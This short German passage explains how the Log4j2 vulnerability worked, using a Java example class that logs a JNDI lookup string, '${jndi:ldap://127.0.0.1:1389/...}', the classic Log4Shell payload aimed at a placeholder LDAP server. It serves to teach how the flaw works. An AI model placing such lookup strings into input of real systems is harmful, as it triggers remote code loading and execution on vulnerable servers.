Wie lief der Exploit?
Über Platzhalter können in Log4j2 dynamisch Informationen in Log-Nachrichten eingefügt werden. Diese Informationen konnten in der Standardkonfiguration auch über JNDI geladen werden.
public class VulnerableLoggingClass {
private static final Logger logger = LogManager.getLogger(VulnerableLoggingClass.class);
public static void main(String[] args) {
logger.error("Malicious string in log message: ${jndi:ldap://127.0.0.1:1389/restOfUrl}");
}
}
